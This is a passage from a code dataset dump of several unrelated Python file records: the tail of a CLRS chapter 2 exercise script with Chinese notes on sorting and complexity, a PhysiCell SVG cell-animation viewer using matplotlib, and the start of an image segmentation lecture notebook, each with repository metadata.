58]\u9996\u5148\u9009\u51fa\u5e8f\u5217\u4e2d\u7b2c\u4e8c\u4e2a\u5143\u7d2041\u5411\u524d\u63d2\u5165(\u5347\u5e8f)\uff0c\u63a5\u4e0b\u6765\u9009\u51fa59\u5411\u524d\u63d2\u5165\uff0c\u4f9d\u6b21\u7c7b\u63a8')\n        print('\u7ec3\u4e602.1-2\uff1a\u53ea\u8981\u628a\u4e66\u4e2d\u63d2\u5165\u6392\u5e8f\u4e2d\u7684\u4f2a\u4ee3\u7801\u7684\u4e0d\u7b49\u53f7\u65b9\u5411\u66f4\u6362\u5373\u53ef')\n        A = [31, 41, 59, 26, 21, 58]\n        print('  \u6392\u5e8f\u597d\u7684\u964d\u5e8f\u5e8f\u5217\u4e3a\uff1a', self.insertSortDescending(A))\n        print('\u7ec3\u4e602.1-3\uff1a\u7ed3\u679c\u5982\u4e0b:')\n        print('  32\u5728\u5e8f\u5217A\u4e2d\u7684\u7d22\u5f15\u4e3a(\u7d22\u5f15\u4ece0\u5f00\u59cb)\uff1a', self.arrayContains(A, 32))\n        print('  21\u5728\u5e8f\u5217A\u4e2d\u7684\u7d22\u5f15\u4e3a(\u7d22\u5f15\u4ece0\u5f00\u59cb)\uff1a', self.arrayContains(A, 21))  \n        print('\u7ec3\u4e602.1-4\uff1a\u4e24\u4e2an\u4f4d\u4e8c\u8fdb\u5236\u6570\u76f8\u52a0\u7684\u7b97\u6cd5(\u9002\u7528\u4e8eFPGA\u4e2d\u3002\u53c2\u8003\u4e00\u4f4d\u52a0\u6cd5\u5668\u7684\u903b\u8f91\u8868\u8fbe\u5f0f\u6216\u8005\u6570\u5b66\u8868\u8fbe\u5f0f)\uff1a')\n        print(' \u4e24\u4e2an\u4f4d\u4e8c\u8fdb\u5236\u6570\u7684\u548c\u4e3a\uff1a', self.twoNBinNumAdd([1, 1, 0, 1], [1, 0, 0, 0]))\n        # range\u51fd\u6570\u548cnp.arange\u51fd\u6570\u90fd\u662f\u5de6\u95ed\u53f3\u5f00\u533a\u95f4\n        print('range(0,4)\u7684\u503c\u4e3a\uff1a', [i for i in range(0,4)])\n        print('2.2 \u7b97\u6cd5\u5206\u6790')\n        print('\u7b97\u6cd5\u5206\u6790\u5373\u6307\u5bf9\u4e00\u4e2a\u7b97\u6cd5\u6240\u9700\u8981\u7684\u8d44\u6e90\u8fdb\u884c\u9884\u6d4b')\n        print('\u5185\u5b58\uff0c\u901a\u4fe1\u5e26\u5bbd\u6216\u8005\u8ba1\u7b97\u673a\u786c\u4ef6\u7b49\u8d44\u6e90\u662f\u5173\u5fc3\u7684\u8d44\u6e90, \u901a\u5e38\u8d44\u6e90\u6307\u6211\u4eec\u5e0c\u671b\u6d4b\u5ea6\u7684\u8ba1\u7b97\u65f6\u95f4')\n        print('\u91c7\u7528\u5355\u5904\u7406\u5668\u3001\u968f\u673a\u5b58\u53d6\u673aRAM\u8ba1\u7b97\u6a21\u578b')\n        print('RAM\u6a21\u578b\u5305\u542b\u4e86\u771f\u5b9e\u8ba1\u7b97\u673a\u4e2d\u5e38\u89c1\u7684\u6307\u4ee4\uff1a\u7b97\u6570\u6307\u4ee4(\u52a0\u6cd5\uff0c\u51cf\u6cd5\uff0c\u9664\u6cd5\uff0c\u53d6\u4f59\uff0c\u5411\u4e0b\u53d6\u6574\uff0c\u5411\u4e0a\u53d6\u6574\u6307\u4ee4)\uff0c\u6570\u636e\u79fb\u52a8\u6307\u4ee4(\u88c5\u5165\u3001\u5b58\u50a8\u3001\u590d\u5236)\u548c\u63a7\u5236\u6307\u4ee4(\u6761\u4ef6\u548c\u975e\u6761\u4ef6\u8f6c\u79fb\u3001\u5b50\u7a0b\u5e8f\u8c03\u7528\u548c\u8fd4\u56de\u6307\u4ee4)')\n        print('RAM\u6a21\u578b\u4e2d\u7684\u6570\u636e\u7c7b\u578b\u6709\u6574\u6570\u7c7b\u578b\u548c\u6d6e\u70b9\u5b9e\u6570\u7c7b\u578b')\n        print('\u7b97\u6cd5\u5206\u6790\u6240\u9700\u8981\u7684\u6570\u5b66\u5de5\u5177\u5305\u62ec\u7ec4\u5408\u6570\u5b66\u3001\u6982\u7387\u8bba\u3001\u4ee3\u6570')      \n        print('\u9700\u8981\u5bf9\"\u8fd0\u884c\u65f6\u95f4\"\u548c\"\u8f93\u5165\u89c4\u6a21\"\u66f4\u4ed4\u7ec6\u5730\u52a0\u4ee5\u5b9a\u4e49')\n        print('\u63d2\u5165\u6392\u5e8f\u7b97\u6cd5\u7684\u5206\u6790')\n        print('\u63d2\u5165\u6392\u5e8fINSERTION=SORT\u8fc7\u7a0b\u7684\u65f6\u95f4\u5f00\u9500\u4e0e\u8f93\u5165\u6709\u5173\uff0c\u6392\u5e8f1000\u4e2a\u6570\u7684\u4e8b\u4ef6\u6bd4\u6392\u5e8f\u4e09\u4e2a\u6570\u7684\u65f6\u95f4\u8981\u957f')\n        print('\u63d2\u5165\u7b97\u6cd5\u5373\u4f7f\u5bf9\u7ed9\u5b9a\u89c4\u6a21\u7684\u8f93\u5165\uff0c\u8fd0\u884c\u65f6\u95f4\u4e5f\u6709\u53ef\u80fd\u4f9d\u8d56\u4e8e\u7ed9\u5b9a\u7684\u662f\u8be5\u89c4\u6a21\u4e0b\u7684\u54ea\u79cd\u8f93\u5165')\n        print('\u63d2\u5165\u6392\u5e8f\u5f53\u8f93\u5165\u662f\u6700\u597d\u60c5\u51b5(\u5373\u8f93\u5165\u7684\u5e8f\u5217\u5df2\u7ecf\u6309\u987a\u5e8f\u6392\u597d)\uff0c\u63d2\u5165\u6392\u5e8f\u6240\u9700\u8981\u7684\u65f6\u95f4\u968f\u8f93\u5165\u89c4\u6a21\u662f\u7ebf\u6027\u7684O(n)')\n        print('\u63d2\u5165\u6392\u5e8f\u5f53\u8f93\u5165\u662f\u6309\u7167\u9006\u5e8f\u6392\u5e8f\u7684(\u964d\u5e8f\u6392\u5217\u8f93\u5165\u540e\u8f93\u51fa\u5347\u5e8f\u6392\u5217),\u5c31\u4f1a\u51fa\u73b0\u6700\u574f\u60c5\u51b5,\u6240\u9700\u8981\u65f6\u95f4\u662f\u8f93\u5165\u89c4\u6a21\u7684\u4e8c\u6b21\u51fd\u6570O(n^2)')\n        print('\u4e00\u822c\u8003\u5bdf\u7b97\u6cd5\u7684\u6700\u574f\u60c5\u51b5\u8fd0\u884c\u65f6\u95f4')\n        print('\u5f53\u7136\u5bf9\u4e8e\u4e00\u4e9b\"\u968f\u673a\u5316\"\u7b97\u6cd5\uff0c\u5176\u884c\u4e3a\u5373\u4f7f\u5bf9\u4e8e\u56fa\u5b9a\u7684\u8f93\u5165\uff0c\u8fd0\u884c\u65f6\u95f4\u4e5f\u662f\u53ef\u4ee5\u53d8\u5316\u7684')\n        print('\u505a\u8fdb\u4e00\u6b65\u7684\u62bd\u8c61\uff1a\u5373\u8fd0\u884c\u65f6\u95f4\u7684\u589e\u957f\u7387\uff0c\u53ea\u8003\u8651\u7b97\u6cd5\u8fd0\u884c\u65f6\u95f4\u516c\u5f0f\u4e2d\u7684\u6700\u9ad8\u6b21\u9879\uff0c\u5e76\u4e14\u5ffd\u7565\u6700\u9ad8\u6b21\u9879\u7684\u5e38\u6570\u7cfb\u6570,\u65f6\u95f4\u590d\u6742\u5ea6')\n        print('\u7ec3\u4e60\u98982.2-1: n^3/1000 - 100n^2 - 100n + 3 \u7684\u65f6\u95f4\u590d\u6742\u5ea6\uff1aO(n^3)')\n        print('\u7ec3\u4e60\u98982.2-2:\u9009\u62e9\u6392\u5e8f\u5982\u4e0b\uff1a')\n        A = [21, 11, 9, 66, 51, 48]\n        print(' \u9009\u62e9\u6392\u5e8f\u6392\u5217\u524d\u7684\u5143\u7d20\uff1a', A)\n        print(' \u9009\u62e9\u6392\u5e8f\u6392\u5217\u540e\u7684\u5143\u7d20\uff1a', self.selectSortAscending(A))\n        print(' \u9009\u62e9\u6392\u5e8f\u6700\u597d\u60c5\u51b5o(n^2),\u6700\u574f\u60c5\u51b5o(n^2)')\n        print(' \u56e0\u4e3a\u5728\u7b2cn-1\u6b21\u6bd4\u8f83\u9009\u62e9\u7684\u65f6\u5019\u5df2\u7ecf\u6bd4\u8f83\u51fa\u4e86\u6700\u5927\u5143\u7d20\u548c\u6b21\u5927\u5143\u7d20\u5e76\u9009\u62e9\uff0c\u6240\u4ee5\u8fd9\u65f6\u9009\u62e9\u5b8c\u4e4b\u540e\u7b2cn\u4e2a\u5143\u7d20\u5df2\u7ecf\u662f\u6700\u5927\u503c\uff0c\u6ca1\u6709\u5fc5\u8981\u518d\u6bd4\u8f83\u4e0b\u53bb\u4e86')\n        print('\u7ec3\u4e60\u98982.2-3:\u7ebf\u6027\u67e5\u627e\u6700\u597d\u60c5\u51b5\u662fo(1),\u6700\u574f\u60c5\u51b5\u662fo(n)\uff0c\u5e73\u5747\u60c5\u51b5\u662f(n)')\n        print('\u8981\u4f7f\u7b97\u6cd5\u5177\u6709\u8f83\u597d\u7684\u6700\u4f73\u60c5\u51b5\u8fd0\u884c\u65f6\u95f4\u5c31\u4e00\u5b9a\u8981\u5bf9\u8f93\u5165\u8fdb\u884c\u63a7\u5236\uff0c\u4f7f\u4e4b\u504f\u5411\u80fd\u591f\u4f7f\u5f97\u7b97\u6cd5\u5177\u6709\u6700\u4f73\u8fd0\u884c\u60c5\u51b5\u7684\u6392\u5217\u3002')\n\n        #python src/chapter2/chapter2.py\n        #python3 src/chapter2/chapter2.py\n        return self\n\nif __name__ == '__main__':\n    print('Run main : single chapter two!')\n    Chapter2().note()\nelse:\n    pass\n\n## python src/chapter2/chapter2.py\n## python3 src/chapter2/chapter2.py\n\n", "meta": {"hexsha": "13030ab6af2e5ca96937fc6f17193f6ee01c0fdb", "size": 8684, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/chapter2/chapter2.py", "max_stars_repo_name": "DuGuPeefy/CLRS_dugu_code-master", "max_stars_repo_head_hexsha": "cc0b44f76c1306915e11c744f7f10aa20c98ac0d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/chapter2/chapter2.py", "max_issues_repo_name": "DuGuPeefy/CLRS_dugu_code-master", "max_issues_repo_head_hexsha": "cc0b44f76c1306915e11c744f7f10aa20c98ac0d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/chapter2/chapter2.py", "max_forks_repo_name": "DuGuPeefy/CLRS_dugu_code-master", "max_forks_repo_head_hexsha": "cc0b44f76c1306915e11c744f7f10aa20c98ac0d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.1035598706, "max_line_length": 109, "alphanum_fraction": 0.5038000921, "include": true, "reason": "import numpy,from numpy", "num_tokens": 3884, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.1688569605068544, "lm_q1q2_score": 0.08376889617066521}}
{"text": "#\n# anim_svg.py:  render/animate PhysiCell .svg files, using left/right arrows on keyboard\n#\n# Usage:\n#  python anim_svg.py <show_nucleus start_index axes_min axes_max>\n#    i.e., the arguments <...> are optional and have defaults.\n# \n# Keyboard arrows: right/left arrows will single step forward/backward; up/down will increment/decrement step size\n#\n# Dependencies include matplotlib and numpy. We recommend installing the Anaconda Python3 distribution.\n#\n# Examples (run from directory containing the .svg files):\n#  python anim_svg.py \n#  python anim_svg.py 0 5 700 1300 \n#\n# Author: Randy Heiland (except for the circles() function)\n#\n#\n__author__ = \"Randy Heiland\"\n\nimport sys\nimport glob\nimport os\nimport xml.etree.ElementTree as ET\nimport math\njoin_our_list = \"(Join/ask questions at https://groups.google.com/forum/#!forum/physicell-users)\\n\"\ntry:\n  import matplotlib\n  import matplotlib.colors as mplc\n  from matplotlib.patches import Circle, Ellipse, Rectangle\n  from matplotlib.collections import PatchCollection\nexcept:\n  print(\"\\n---Error: cannot import matplotlib\")\n  print(\"---Try: python -m pip install matplotlib\")\n  print(join_our_list)\n#  print(\"---Consider installing Anaconda's Python 3 distribution.\\n\")\n  raise\ntry:\n  import numpy as np  # if mpl was installed, numpy should have been too.\nexcept:\n  print(\"\\n---Error: cannot import numpy\")\n  print(\"---Try: python -m pip install numpy\\n\")\n  print(join_our_list)\n  raise\nfrom collections import deque\ntry:\n  # apparently we need mpl's Qt backend to do keypresses \n#  matplotlib.use(\"Qt5Agg\")\n  matplotlib.use(\"TkAgg\")\n  import matplotlib.pyplot as plt\nexcept:\n  print(\"\\n---Error: cannot use matplotlib's TkAgg backend\")\n  print(join_our_list)\n#  print(\"Consider installing Anaconda's Python 3 distribution.\")\n  raise\n\n\ncurrent_idx = 0\nprint(\"# args=\",len(sys.argv)-1)\n\n#for idx in range(len(sys.argv)):\nuse_defaults = True\nshow_nucleus = 0\ncurrent_idx = 0\naxes_min = 0.0\naxes_max = 1000  # but overridden by \"width\" attribute in .svg\nif (len(sys.argv) == 5):\n  use_defaults = False\n  kdx = 1\n  show_nucleus = int(sys.argv[kdx])\n  kdx += 1\n  current_idx = int(sys.argv[kdx])\n  kdx += 1\n  axes_min = float(sys.argv[kdx])\n  kdx += 1\n  axes_max = float(sys.argv[kdx])\nelif (len(sys.argv) != 1):\n  print(\"Please provide either no args or 4 args:\")\n  usage_str = \"show_nucleus start_index axes_min axes_max\"\n  print(usage_str)\n  print(\"e.g.,\")\n  eg_str = \"%s 0 0 0 2000\" % (sys.argv[0])\n  print(eg_str)\n  sys.exit(1)\n\n#\"\"\"\nprint(\"show_nucleus=\",show_nucleus)\nprint(\"current_idx=\",current_idx)\nprint(\"axes_min=\",axes_min)\nprint(\"axes_max=\",axes_max)\n#\"\"\"\n\n\"\"\"\nif (len(sys.argv) > 1):\n   current_idx = int(sys.argv[1])\nif (len(sys.argv) > 2):\n   axes_min = float(sys.argv[2])\n   axes_max = float(sys.argv[3])\n\nif (len(sys.argv) > 4):\n  usage_str = \"[<start_index> [<axes_min axes_max>]]\"\n  print(usage_str)\n  print(\"e.g.,\")\n  eg_str = \"%s 1 10 700 1300\" % (sys.argv[0])\n  print(eg_str)\n  sys.exit(1)\n\"\"\"\n\nprint(\"current_idx=\",current_idx)\n\n#d={}   # dictionary to hold all (x,y) positions of cells\n\n\"\"\" \n--- for example ---\nIn [141]: d['cell1599'][0:3]\nOut[141]: \narray([[ 4900.  ,  4900.  ],\n       [ 4934.17,  4487.91],\n       [ 4960.75,  4148.02]])\n\"\"\"\n\nfig = plt.figure(figsize=(7,7))\nax = fig.gca()\n#ax.set_aspect(\"equal\")\n\n\n#plt.ion()\n\ntime_delay = 0.1\n\ncount = -1\n#while True:\n\n#-----------------------------------------------------\ndef circles(x, y, s, c='b', vmin=None, vmax=None, **kwargs):\n    \"\"\"\n    See https://gist.github.com/syrte/592a062c562cd2a98a83 \n\n    Make a scatter plot of circles. \n    Similar to plt.scatter, but the size of circles are in data scale.\n    Parameters\n    ----------\n    x, y : scalar or array_like, shape (n, )\n        Input data\n    s : scalar or array_like, shape (n, ) \n        Radius of circles.\n    c : color or sequence of color, optional, default : 'b'\n        `c` can be a single color format string, or a sequence of color\n        specifications of length `N`, or a sequence of `N` numbers to be\n        mapped to colors using the `cmap` and `norm` specified via kwargs.\n        Note that `c` should not be a single numeric RGB or RGBA sequence \n        because that is indistinguishable from an array of values\n        to be colormapped. (If you insist, use `color` instead.)  \n        `c` can be a 2-D array in which the rows are RGB or RGBA, however. \n    vmin, vmax : scalar, optional, default: None\n        `vmin` and `vmax` are used in conjunction with `norm` to normalize\n        luminance data.  If either are `None`, the min and max of the\n        color array is used.\n    kwargs : `~matplotlib.collections.Collection` properties\n        Eg. alpha, edgecolor(ec), facecolor(fc), linewidth(lw), linestyle(ls), \n        norm, cmap, transform, etc.\n    Returns\n    -------\n    paths : `~matplotlib.collections.PathCollection`\n    Examples\n    --------\n    a = np.arange(11)\n    circles(a, a, s=a*0.2, c=a, alpha=0.5, ec='none')\n    plt.colorbar()\n    License\n    --------\n    This code is under [The BSD 3-Clause License]\n    (http://opensource.org/licenses/BSD-3-Clause)\n    \"\"\"\n\n    if np.isscalar(c):\n        kwargs.setdefault('color', c)\n        c = None\n\n    if 'fc' in kwargs:\n        kwargs.setdefault('facecolor', kwargs.pop('fc'))\n    if 'ec' in kwargs:\n        kwargs.setdefault('edgecolor', kwargs.pop('ec'))\n    if 'ls' in kwargs:\n        kwargs.setdefault('linestyle', kwargs.pop('ls'))\n    if 'lw' in kwargs:\n        kwargs.setdefault('linewidth', kwargs.pop('lw'))\n    # You can set `facecolor` with an array for each patch,\n    # while you can only set `facecolors` with a value for all.\n\n    zipped = np.broadcast(x, y, s)\n    patches = [Circle((x_, y_), s_)\n               for x_, y_, s_ in zipped]\n    collection = PatchCollection(patches, **kwargs)\n    if c is not None:\n        c = np.broadcast_to(c, zipped.shape).ravel()\n        collection.set_array(c)\n        collection.set_clim(vmin, vmax)\n\n    ax = plt.gca()\n    ax.add_collection(collection)\n    ax.autoscale_view()\n    plt.draw_if_interactive()\n    if c is not None:\n        plt.sci(collection)\n    return collection\n\n#-----------------------------------------------------\ndef plot_svg():\n  global current_idx, axes_max\n  fname = \"snapshot%08d.svg\" % current_idx\n  if (os.path.isfile(fname) == False):\n    print(\"File does not exist: \",fname)\n    return\n\n  xlist = deque()\n  ylist = deque()\n  rlist = deque()\n  rgb_list = deque()\n\n#  print('\\n---- ' + fname + ':')\n  tree = ET.parse(fname)\n  root = tree.getroot()\n#  print('--- root.tag ---')\n#  print(root.tag)\n#  print('--- root.attrib ---')\n#  print(root.attrib)\n\n\n#  print('--- child.tag, child.attrib ---')\n  numChildren = 0\n  for child in root:\n#    print(child.tag, child.attrib)\n#    print(\"keys=\",child.attrib.keys())\n    if use_defaults and ('width' in child.attrib.keys()):\n      axes_max = float(child.attrib['width'])\n#      print(\"--- found width --> axes_max =\", axes_max)\n    if child.text and \"Current time\" in child.text:\n      svals = child.text.split()\n      title_str = \"(\" + str(current_idx) + \") Current time: \" + svals[2] + \"d, \" + svals[4] + \"h, \" + svals[7] + \"m\"\n\n#    print(\"width \",child.attrib['width'])\n#    print('attrib=',child.attrib)\n#    if (child.attrib['id'] == 'tissue'):\n    if ('id' in child.attrib.keys()):\n#      print('-------- found tissue!!')\n      tissue_parent = child\n      break\n\n#  print('------ search tissue')\n  cells_parent = None\n\n  for child in tissue_parent:\n#    print('attrib=',child.attrib)\n    if (child.attrib['id'] == 'cells'):\n#      print('-------- found cells, setting cells_parent')\n      cells_parent = child\n      break\n    numChildren += 1\n\n\n  num_cells = 0\n#  print('------ search cells')\n  for child in cells_parent:\n#    print(child.tag, child.attrib)\n#    print('attrib=',child.attrib)\n    for circle in child:  # two circles in each child: outer + nucleus\n    #  circle.attrib={'cx': '1085.59','cy': '1225.24','fill': 'rgb(159,159,96)','r': '6.67717','stroke': 'rgb(159,159,96)','stroke-width': '0.5'}\n#      print('  --- cx,cy=',circle.attrib['cx'],circle.attrib['cy'])\n      xval = float(circle.attrib['cx'])\n\n      s = circle.attrib['fill']\n#      print(\"s=\",s)\n#      print(\"type(s)=\",type(s))\n      if (s[0:3] == \"rgb\"):  # if an rgb string, e.g. \"rgb(175,175,80)\" \n        #  circle.attrib={'cx': '1085.59','cy': '1225.24','fill': 'rgb(159,159,96)','r': '6.67717','stroke': 'rgb(159,159,96)','stroke-width': '0.5'}\n        rgb = list(map(int, s[4:-1].split(\",\")))  \n        rgb[:]=[x/255. for x in rgb]\n      else:     # otherwise, must be a color name\n        rgb_tuple = mplc.to_rgb(mplc.cnames[s])  # a tuple\n        rgb = [x for x in rgb_tuple]\n\n      # test for bogus x,y locations (rwh TODO: use max of domain?)\n      too_large_val = 10000.\n      if (math.fabs(xval) > too_large_val):\n        print(\"bogus xval=\",xval)\n        break\n      yval = float(circle.attrib['cy'])\n      if (math.fabs(yval) > too_large_val):\n        print(\"bogus xval=\",xval)\n        break\n\n      rval = float(circle.attrib['r'])\n#      print('rval=',rval)\n\n      xlist.append(xval)\n      ylist.append(yval)\n      rlist.append(rval)\n      rgb_list.append(rgb)\n#      print('rgb_list = ',rgb_list)\n\n#     For .svg files with cells that *have* a nucleus, there will be a 2nd\n      if (show_nucleus == 0):\n        break\n\n    num_cells += 1\n\n#    if num_cells > 3:   # for debugging\n#      print(fname,':  num_cells= ',num_cells,\" --- debug exit.\")\n#      sys.exit(1)\n#      break\n\n  print(fname,':  num_cells= ',num_cells)\n\n  xvals = np.array(xlist)\n  yvals = np.array(ylist)\n  rvals = np.array(rlist)\n  rgbs =  np.array(rgb_list)\n#  print('type(rgbs) = ',type(rgbs))\n#  print('rgbs = ',rgbs)\n#print(\"xvals[0:5]=\",xvals[0:5])\n#print(\"rvals[0:5]=\",rvals[0:5])\n#  print(\"rvals.min, max=\",rvals.min(),rvals.max())\n\n  plt.cla()\n  title_str += \" (\" + str(num_cells) + \" agents)\"\n  plt.title(title_str)\n  plt.xlim(axes_min,axes_max)\n  plt.ylim(axes_min,axes_max)\n#  plt.scatter(xvals,yvals, s=rvals*scale_radius, c=rgbs)\n#  plt.scatter(xvals,yvals, s=rvals*scale_radius, c=rgbs, alpha=0.5, edgecolor='black')\n#  plt.scatter(xvals,yvals, s=rvals*scale_radius, c=rgbs, alpha=1.0, edgecolor='black')\n#  circles(xvals,yvals, s=rvals, c=rgbs, alpha=1.0, edgecolor='black')\n#  circles(xvals,yvals, s=rvals)\n#  circles(xvals,yvals, s=rvals, c=rgbs)\n  circles(xvals,yvals, s=rvals, color=rgbs)\n#plt.xlim(0,2000)  # TODO - get these values from width,height in .svg at top\n#plt.ylim(0,2000)\n  plt.pause(time_delay)\n\nstep_value = 1\ndef press(event):\n  global current_idx, step_value\n#    print('press', event.key)\n  sys.stdout.flush()\n  if event.key == 'escape':\n    sys.exit(1)\n  elif event.key == 'h':  # help\n    print('esc: quit')\n    print('right arrow: increment by step_value')\n    print('left arrow:  decrement by step_value')\n    print('up arrow:   increment step_value by 1')\n    print('down arrow: decrement step_value by 1')\n    print('0: reset to 0th frame')\n    print('h: help')\n  elif event.key == 'left':  # left arrow key\n#    print('go backwards')\n#    fig.canvas.draw()\n    current_idx -= step_value\n    if (current_idx < 0):\n      current_idx = 0\n    plot_svg()\n  elif event.key == 'right':  # right arrow key\n#        print('go forwards')\n#        fig.canvas.draw()\n    current_idx += step_value\n    plot_svg()\n  elif event.key == 'up':  # up arrow key\n    step_value += 1\n    print('step_value=',step_value)\n  elif event.key == 'down':  # down arrow key\n    step_value -= 1\n    if (step_value <= 0):\n      step_value = 1\n    print('step_value=',step_value)\n  elif event.key == '0':  # reset to 0th frame/file\n    current_idx = 0\n    plot_svg()\n  else:\n    print('press', event.key)\n\n\n#for current_idx in range(40):\n#  fname = \"snapshot%08d.svg\" % current_idx\n#  plot_svg(fname)\nplot_svg()\nprint(\"\\nNOTE: click in plot window to give it focus before using keys.\")\n\nfig.canvas.mpl_connect('key_press_event', press)\n\n# keep last plot displayed\n#plt.ioff()\nplt.show()\n", "meta": {"hexsha": "1a28ced6d501ca524bf2a0b4974d222eb5751cc9", "size": 11982, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/output/anim_svg.py", "max_stars_repo_name": "rheiland/gui4Ali", "max_stars_repo_head_hexsha": "88f1b0a000382cce5193ad71609aad22ee3676cf", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-01-09T21:27:45.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-04T11:10:23.000Z", "max_issues_repo_path": "src/output/anim_svg.py", "max_issues_repo_name": "rheiland/gui4Ali", "max_issues_repo_head_hexsha": "88f1b0a000382cce5193ad71609aad22ee3676cf", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/output/anim_svg.py", "max_forks_repo_name": "rheiland/gui4Ali", "max_forks_repo_head_hexsha": "88f1b0a000382cce5193ad71609aad22ee3676cf", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.4111675127, "max_line_length": 149, "alphanum_fraction": 0.6250208646, "include": true, "reason": "import numpy", "num_tokens": 3487, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091957, "lm_q2_score": 0.16885695841556156, "lm_q1q2_score": 0.08376889513318775}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # ETHZ: 227-0966-00L\n# # Quantitative Big Imaging\n# # March 14, 2019\n#\n# ## Basic Segmentation and Discrete Binary Structures\n# ### Part 1\n\n# # Lesson Outline\n# - Motivation\n# - Qualitative Approaches\n# - Thresholding\n#  - Other types of images\n#  - Selecting a good threshold\n# - Implementation\n# - Morphology\n# - Contouring / Mask Creation\n\n# ### Applications\n#\n# - Simple two-phase materials (bone, cells, etc)\n#   - Beyond 1 channel of depth\n# - Multiple phase materials\n# - Filling holes in materials\n# - Segmenting Fossils\n# - Attempting to segment the cortex in brain imaging\n# ![Cortex Image](ext-figures/cortex.png)\n\n# # Literature / Useful References\n#\n# - John C. Russ, \u201cThe Image Processing Handbook\u201d,(Boca Raton, CRC Press)\n#  - Available [online](http://dx.doi.org/10.1201/9780203881095) within domain ethz.ch (or proxy.ethz.ch / public VPN)\n#\n# ### Models / ROC Curves\n#\n# - [Julia Evans - Recalling with Precision](https://www.youtube.com/watch?v=ryZL4XNUmwo)\n# - [Stripe's Next Top Model](https://github.com/stripe/topmodel)\n\n# # Motivation:  Why do we do imaging experiments?\n#\n#\n# - Exploratory\n#  - To visually, qualitatively examine samples and differences between them\n#  - No prior knowledge or expectations\n# - To test a hypothesis\n#  - Quantitative assessment coupled with statistical analysis\n#  - Does temperature affect bubble size?\n#  - Is this gene important for cell shape and thus mechanosensation in bone?\n#  - Does higher canal volume make bones weaker?\n#  - Does the granule shape affect battery life expectancy?\n#\n\n# - What we are looking at\n# ![Standard Cell, http://en.wikipedia.org/wiki/File:Average_prokaryote_cell-_en.svg](ext-figures/Average_prokaryote_cell.svg)\n# - What we get from the imaging modality\n\n# In[1]:\n\n\nfrom skimage.io import imread\nfrom skimage.color import rgb2gray\nimport matplotlib.pyplot as plt\n\ndkimg = imread(\"../common/figures/Average_prokaryote_cell.jpg\")\nplt.matshow(rgb2gray(dkimg), cmap=\"bone\")\n\n\n# # To test a hypothesis\n# - We perform an experiment bone to see how big the cells are inside the tissue\n# $$\\downarrow$$ ![Bone Measurement](ext-figures/tomoimage.png)\n#\n# ### 2560 x 2560 x 2160 x 32 bit = 56GB / sample\n# - Filtering and Preprocessing!\n# $$\\downarrow$$\n# - 20h of computer time later ...\n# - 56GB of less noisy data\n# - Way too much data, we need to reduce\n#\n\n# # What did we want in the first place\n#\n#\n# ### _Single number_:\n# * volume fraction,\n# * cell count,\n# * average cell stretch,\n# * cell volume variability\n\n# # Why do we perform segmentation?\n#\n# - In model-based analysis every step we peform, simple or complicated is related to an underlying model of the system we are dealing with\n# - [_Occam's Razor_](http://en.wikipedia.org/wiki/Occams_Razor) is very important here : The simplest solution is usually the right one\n#  - Bayesian, neural networks optimized using genetic algorithms with Fuzzy logic has a much larger parameter space to explore, establish sensitivity in, and must perform much better and be tested much more thoroughly than thresholding to be justified.\n#  - We will cover some of these techniques in the next 2 lectures since they can be very powerful particularly with unknown data\n\n# # Review: Filtering and Image Enhancement\n#\n#\n# - This was a noise process which was added to otherwise clean imaging data\n# - $$ I_{measured}(x,y) = I_{sample}(x,y) + \\text{Noise}(x,y) $$\n# - What would the perfect filter be\n#  - $$ \\textit{Filter} \\ast I_{sample}(x,y) = I_{sample}(x,y) $$\n#  - $$ \\textit{Filter} \\ast \\text{Noise}(x,y) = 0 $$\n#  - $$ \\textit{Filter} \\ast I_{measured}(x,y) = \\textit{Filter} \\ast I_{real}(x,y) + \\textit{Filter}\\ast \\text{Noise}(x,y) \\rightarrow \\bf I_{sample}(x,y) $$\n# - What most filters end up doing\n# $$ \\textit{Filter} \\ast I_{measured}(x,y) = 90\\%  I_{real}(x,y) + 10\\% \\text{Noise}(x,y) $$\n# - What bad filters do\n# $$ \\textit{Filter} \\ast I_{measured}(x,y) = 10\\% I_{real}(x,y) + 90\\% \\text{Noise}(x,y) $$\n\n# # Qualitative Metrics: What did people used to do?\n#\n# - What comes out of our detector / enhancement process\n\n# In[2]:\n\n\nfrom skimage.io import imread\nfrom skimage.color import rgb2gray\nimport matplotlib.pyplot as plt\n\ndkimg = rgb2gray(imread(\"../common/figures/Average_prokaryote_cell.jpg\"))\nfig, (ax_hist, ax_img) = plt.subplots(1, 2, figsize=(12, 6))\n\nax_hist.hist(dkimg.ravel())\nax_hist.set_xlabel(\"Absorption Coefficient\")\nax_hist.set_ylabel(\"Pixel Count\")\n\nm_show_obj = ax_img.matshow(dkimg, cmap=\"bone\")\ncb_obj = plt.colorbar(m_show_obj)\ncb_obj.set_label(\"Absorption Coefficient\")\n\n\n# - Identify objects by eye\n#  - Count, describe qualitatively: \"many little cilia on surface\", \"long curly flaggelum\", \"elongated nuclear structure\"\n# - Morphometrics\n#  - Trace the outline of the object (or sub-structures)\n#  - Can calculate the area by using equal-weight-paper\n#  - Employing the \"[cut-and-weigh](http://ion.chem.usu.edu/~sbialkow/Classes/361/GC/GC.html)\" 